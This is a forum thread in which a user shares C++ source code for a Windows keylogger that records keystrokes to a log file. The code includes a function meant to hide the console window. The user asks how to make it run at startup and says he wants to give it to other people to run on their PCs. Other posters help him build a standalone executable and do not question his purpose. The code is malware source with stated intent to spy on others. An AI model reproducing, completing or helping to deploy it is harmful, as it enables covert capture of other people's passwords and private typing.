hey all!

i created a keylogger of my own in visual c++ 2010, and included iostream, windows.h winUser.h

the problem m facing is that it runs only when visual c++ is open. as soon as i try to close it, it pops a message to stop debugging and if i go with it, keylogger stops. can anybody help me how to keep my keylogger in running position as soon as my laptop starts? i know it is very wrong to make this kind of software.. but m taking it as a fun only! not to stealing any property!

Thanks guys.. you people really helped me alot!

4 Years
Discussion Span
Last Post by f4fjks

How did you make a keylogger in VC++ without knowing how to compile the exe file and use it independently outside of the compiler?


yes i tried to run .exe file too. but it is not giving any response, still before replying to this post, i run the exe file, it blink a window but after typing this long text there is no txt file created where it was first present before while compiling it through visual.


include <iostream>

using namespace std;

include <windows.h>

include <WinUser.h>

int Save (int key_stroke, char *file);
void Stealth();

int main()
char i;

while (1)
for(i = 8; i <= 190; i++)
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
system ("PAUSE");
return 0;

/* *********************************** */

int Save (int key_stroke, char *file)
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;

/* *********************************** */

void Stealth()
HWND Stealth;
Stealth = FindWindowA("ConsoleWindowClass", NULL);

/* this is the code which i used.. by running through visual, it works properly, but as soon as i close visual, it also stops working, i need a guide that how it keep on working without any comipiler, so that i can give this to other people and they can run on their pcs without any compiler*/


Allright in visual studio, at the top you will see a dropdown box with the text "debug"... change that to "release"... then build the application...

now in the folder you saved the project there will appear a "release" folder, in this folder will be the files you want, this can be run outside your application as an .exe file


Check that the return value of the following is a valid pointer :

OUTPUT_FILE = fopen(file, "a+");  // what is file?

Thanks alot guys... u always help me alot.. :) @eagletalon, thanks man, reffering ur comment i checked out the debug folder and the file was there...

@nullptr its the LOG.txt mentioned in getasynckeystate function.

this post is now solved, .exe file has all the outputs in debug folder

This question has already been answered. Start a new discussion instead.
Have something to contribute to this discussion? Please be thoughtful, detailed and courteous, and be sure to adhere to our posting rules.